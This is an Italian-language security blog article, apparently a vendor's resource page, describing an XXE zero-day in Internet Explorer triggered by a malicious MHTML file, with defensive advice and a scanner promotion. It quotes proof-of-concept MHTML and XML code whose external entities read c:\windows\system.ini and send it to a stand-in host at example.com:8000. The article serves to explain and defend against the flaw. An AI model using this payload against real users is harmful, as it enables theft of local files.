Tutte le risorse

Vulnerabilità delle entità esterne XML in Internet Explorer

Quando si sfrutta una tipica vulnerabilità di entità esterne XML (XXE), l'utente malintenzionato tenta di accedere al contenuto dei file su un server Web. Tuttavia, xxE vulnerabilità possono anche consentire all'attaccante di rubare dati privati dall'utente. Tale caso è stato recentemente scoperto da un ricercatore di sicurezza John Page (hyp3rlinx). Si basa su una vulnerabilità zero-day in Internet Explorer.

Anatomia dell'attacco

Fortunatamente per gli utenti di Windows, la vulnerabilità in Internet Explorer non è così facile da sfruttare. Una vittima deve prima scaricare ed eseguire un file di archivio MHTML (.mht). Molti utenti sono già istruiti abbastanza bene per sapere che non dovrebbero eseguire strani file da Internet.

D'altra parte, molte persone considerano i file di archivio MHTML innocui e non hanno ripensamenti durante l'esecuzione. Il file utilizzato nell'attacco proof-of-concept è stato ignorato anche da Windows Defender e SmartScreen.

Di seguito è riportata una descrizione di come è possibile eseguire l'attacco proof-of-concept:

  1. L'aggressore attira la vittima a visitare un sito dannoso. Il sito dannoso contiene un collegamento per scaricare un file di archivio MHTML.
  2. La vittima scarica il file .mht e fa doppio clic su di esso.
  3. Il file .mht viene aperto automaticamente in Internet Explorer ed eseguito:
    a. Il file MHTML contiene una definizione che punta a un file XML sul server dell'utente malintenzionato.
    b. Il file MHTML scarica e include il file XML.
    c. Il file XML incluso contiene una definizione di entità esterna che punta a un file sensibile locale.
    d. Il file MHTML contiene uno script che attiva la funzione di stampa di IE (window.print()).
  4. Il browser della vittima invia una richiesta GET con il contenuto del file sensibile locale al sito dell'attaccante.

Frammento chiave del file MHTML di esempio:

<body>

<xml>

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://example.com/datatears.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

</xml>

<script>window.print();

</script>

</body>

Il file XML incluso:

<!ENTITY % data SYSTEM "c:\windows\system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

Per la descrizione completa e il contenuto di tutti i file, vedere il rapporto sulla vulnerabilità originale.

Protezione contro XXE

Nel caso di questo particolare problema, non vi è alcuna protezione diretta fino a quando Microsoft non risolve Internet Explorer. Alcuni software antivirus già riconoscono questo problema e blocca tali file MHTML da scaricare, quindi può essere utile per ridurre il rischio. Ciò che aiuta di più, tuttavia, è quello di educare gli utenti a non scaricare ed eseguire file sconosciuti da Internet, anche se non sono file EXE e anche se l'antivirus non viene attivato.

D'altra parte, le vulnerabilità XXE lato server sono molto comuni nelle applicazioni web. Le vulnerabilità delle entità esterne XML occupano il numero 4 nell'elenco OWASP Top 10 più recente. Fortunatamente, è facile verificare se il tuo sito web o applicazione web è vulnerabile a XXE e altre vulnerabilità eseguendo una scansione web automatizzata utilizzando lo scanner di vulnerabilità Acunetix, che include un modulo scanner XXE specializzato. Chiedi una demo e scopri di più sull'esecuzione di scansioni XXE sul tuo sito web o applicazione web.